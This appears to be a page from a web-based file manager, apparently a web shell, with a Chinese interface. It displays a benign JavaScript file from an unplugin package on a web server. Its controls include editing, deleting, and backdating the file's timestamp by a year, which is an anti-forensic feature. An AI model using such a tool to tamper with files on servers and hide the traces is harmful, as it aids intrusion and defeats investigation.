文件操作 - webpack-like-D2Xnrc0I.js
返回文件管理
返回主菜单
删除本文件
文件: /var/www/OLD/node_modules/unplugin/dist/webpack-like-D2Xnrc0I.js
编辑文件内容
import { isAbsolute, normalize } from "node:path"; //#region src/utils/webpack-like.ts function transformUse(data, plugin, transformLoader) { if (data.resource == null) return []; const id = normalizeAbsolutePath(data.resource + (data.resourceQuery || "")); if (!plugin.transformInclude || plugin.transformInclude(id)) return [{ loader: transformLoader, options: { plugin }, ident: plugin.name }]; return []; } function normalizeAbsolutePath(path) { if (isAbsolute(path)) return normalize(path); else return path; } //#endregion export { normalizeAbsolutePath, transformUse };
修改文件时间
将文件时间修改为当前时间的前一年
删除文件